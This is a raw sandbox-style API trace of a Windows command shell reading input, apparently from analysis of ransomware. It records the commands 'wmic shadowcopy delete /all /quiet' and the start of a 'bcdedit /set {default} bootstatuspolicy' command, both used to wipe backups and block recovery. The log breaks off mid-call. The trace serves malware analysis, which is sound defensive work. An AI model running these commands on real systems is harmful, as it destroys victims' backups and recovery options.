[0130.796] _vsnwprintf (in: _Buffer=0x20992c40086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x158ecff8f8 | out: _Buffer=">") returned 1 [0130.796] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.796] GetFileType (hFile=0x254) returned 0x3 [0130.796] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0130.796] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x158ecff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8e8*=0x14, lpOverlapped=0x0) returned 1 [0130.796] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.796] GetFileType (hFile=0x248) returned 0x3 [0130.796] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.796] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="bmic shadowcopy delete\n /all /quiet\n") returned 1 [0130.797] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.797] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="cic shadowcopy delete\n /all /quiet\n") returned 1 [0130.797] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.797] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="dc shadowcopy delete\n /all /quiet\n") returned 1 [0130.797] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.797] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="e shadowcopy delete\n /all /quiet\n") returned 1 [0130.797] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.797] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr="dshadowcopy delete\n /all /quiet\n") returned 1 [0130.797] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.797] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr="ihadowcopy delete\n /all /quiet\n") returned 1 [0130.797] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.797] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.797] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="tadowcopy delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr=" dowcopy delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr="/owcopy delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="swcopy delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="ecopy delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="topy delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr=" py delete\n /all /quiet\n") returned 1 [0130.798] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.798] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.798] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="{y delete\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr="d delete\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr="edelete\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="felete\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr="alete\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr="uete\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="lte\n /all /quiet\n") returned 1 [0130.799] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.799] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.799] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="te\n /all /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr="}\n /all /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr=" /all /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5e, cchWideChar=1 | out: lpWideCharStr="b/all /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c60, cchWideChar=1 | out: lpWideCharStr="oall /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c62, cchWideChar=1 | out: lpWideCharStr="oll /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c64, cchWideChar=1 | out: lpWideCharStr="tl /quiet\n") returned 1 [0130.800] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.800] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.800] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c66, cchWideChar=1 | out: lpWideCharStr="s /quiet\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c68, cchWideChar=1 | out: lpWideCharStr="t/quiet\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6a, cchWideChar=1 | out: lpWideCharStr="aquiet\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6c, cchWideChar=1 | out: lpWideCharStr="tuiet\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6e, cchWideChar=1 | out: lpWideCharStr="uiet\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c70, cchWideChar=1 | out: lpWideCharStr="set\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c72, cchWideChar=1 | out: lpWideCharStr="pt\n") returned 1 [0130.801] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.801] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.801] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, 